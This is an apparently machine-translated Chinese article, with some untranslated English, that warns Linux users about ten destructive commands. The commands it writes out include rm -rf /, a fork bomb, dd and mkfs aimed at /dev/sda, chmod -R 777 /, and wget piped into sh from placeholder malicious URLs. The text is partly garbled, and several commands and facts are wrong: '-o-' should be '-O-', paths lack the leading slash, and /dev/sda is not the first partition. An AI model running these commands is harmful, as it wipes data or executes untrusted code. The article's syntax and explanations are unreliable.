与 Windows 或任何其他操作系统相比,Linux 操作系统为其用户提供更多的独立性。 虽然对于一些有经验的开发人员来说,Linux 操作系统提供了执行操作的自由,但它也可能损害提供给这些开发人员的自由。 虽然每种技术都有其优点和缺点,但 Linux 也是如此。 最重要的是,用户在执行之前应该对安全和致命的命令有充分的了解。 在这里,我们将讨论在没有完全理解它们的含义的情况下永远不要运行的致命命令。
1.递归删除
删除文件夹及其内容的最快方法之一是 rm -rf 命令。 多年来,它已经流行起来,因为它克服了 Windows 中删除文件或文件夹时所面临的错误。 此命令会擦除运行它的文件、文件夹或硬盘上的所有内容。 让我们分解命令并了解它的真正含义:
rm – 删除给定位置的所有文件
-rf – 该命令进一步分为两部分:r 和 f。 r 代表递归地删除所有文件,而 f 代表强制删除所有文件而不提示用户。
Internet 上有许多此命令的变体。 重要的是要了解一个人应该知道命令在特定文件夹上运行后会做什么,否则数据可能会丢失。 无法以任何方式恢复从此命令丢失的数据。
- R M – 此命令用于删除文件您将提供的路径中的所有文件
- rm -r – 该命令用于从 Linux 操作系统的所有目录和子目录中递归删除文件。
- rm-f- 此命令用于在不提示用户的情况下删除提供的路径上的文件。 这还包括删除“只读文件”。
- rm -rf / – 这是最危险的命令之一,因为 / 指的是操作系统的根目录。 该命令一旦运行,将强制递归删除根目录下的所有内容。 因此,您的所有目录和子目录都将被删除,数据也将丢失。
- rm -rf * – 此命令强制删除工作目录中的所有数据
- rm-rf。 – 该命令强制删除当前工作目录及其子目录中的文件。 它还会删除目录中的所有配置文件。
2.叉炸弹
因此,由于 Linux 在 Bash 上运行,因此在执行该命令之前了解该命令将对您的系统执行的操作非常重要。 这是一个简单的 bash 一旦执行的函数会创建其自身的副本,而该副本又会创建另一组自身的副本。 这会消耗 CPU 时间和内存。 因此,它递归运行直到系统冻结。
:(){:|:&};:
3.覆盖硬盘
如果您错误地或不小心在您的硬盘上执行了以下命令,那么恢复是不可能的。
command > dev/sda This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user
> - This is responsible for sending the output of the command to the location entered
dev/sda - The output of the command will be written to this location
Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.
4. 内爆硬盘
就像俗话说的“剥猫皮的方法不止一种”,破坏硬盘的方法也不止一种。 在每个 Linux 系统中,dev/null 是一个特殊的位置,被表示为一个黑洞。 任何移动到这个黑洞的东西都会被摧毁。 如果您不小心将数据移动到此文件夹,您的数据将无法恢复。
mv /home/root/* dev/null
上述命令将 home/root 文件夹中的所有数据移动到黑洞,从而导致数据丢失。 让我们分解命令以了解每个部分的作用。
mv - This command is used for moving a folder to another location
/home/root/* – 这是要移动的文件夹的位置
dev/null——一个特殊的位置,表示为黑洞
因此,在运行移动命令时应该小心。 确保您要将文件夹移动到的位置在系统上存在。
5. 下载恶意脚本
我们都知道 Linux 中“wget”命令的好处,但我们不知道的是它可以下载恶意脚本和病毒以及有益的软件。 如果您偶然运行了以下命令之一,您就会明白这是怎么回事。
wget https://malicious_source -o- | sh
wget https://example.com/something -o- | sh -
wget http: //an-untrusted-url -o- | sh
上述命令从提供的 URL 下载内容并运行下载的脚本。
6.格式化硬盘
还有另一个命令可以清除您的硬盘驱动器并使其成为新的。 这些应该只在您在云或外部设备上有数据备份的情况下使用。
mkfs.ext3 /dev/sda
运行此命令与在 Windows 中的 C 驱动器上运行完整格式相同,其中所有文件将从驱动器中擦除干净并准备好进行新安装。 为了让您更容易理解。 让我们分解这个命令。
mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.
同时,执行该命令时,会格式化硬盘上的指定分区,并根据上述命令中指定的文件系统ext3重新格式化。 因此,在您的系统上运行并丢失所有数据之前了解该命令的作用非常重要。
7. 刷新文件内容
刷新文件内容的命令很简单,可以在任何情况下执行。
>file
如果您曾经执行过上述类型的任何命令,您就会看到指定文件的内容必须已被刷新。 “>”负责刷新文件的内容,因此,请仔细检查您正在执行的命令。
8. 编辑上一条命令
这个命令是祝福也是咒诅。 虽然它可以更轻松地不再次键入所有先前的命令并执行它,但它也可以在您先前运行的命令中注入恶意内容。 因此,有必要确定您是否适合使用此命令。
^foo^bar
9. 将随机垃圾写入硬盘
如果你曾经遇到过下面提到的命令,那么恭喜你,如果你疯狂到实际执行这个命令,你可能也看到随机垃圾被写入你的硬盘驱动器。 此命令的后果是您的系统将无法恢复。
dd if=/dev/random of=/dev/sda
10. 修改-R 777/
此命令不会像每个部分中讨论的所有其他命令那样对您的系统产生物理影响,但这会在系统上造成安全漏洞。 通过执行此命令,您为系统的所有用户提供了在您的文件系统上读取、写入和执行数据的能力。 因此,请明智地使用此命令。
希望这些关于致命命令的详细信息能够防止您从系统中丢失数据。 如果这对您有帮助,请在下面的评测部分告诉我们。
你不应该在 Linux 上运行的 10 个致命命令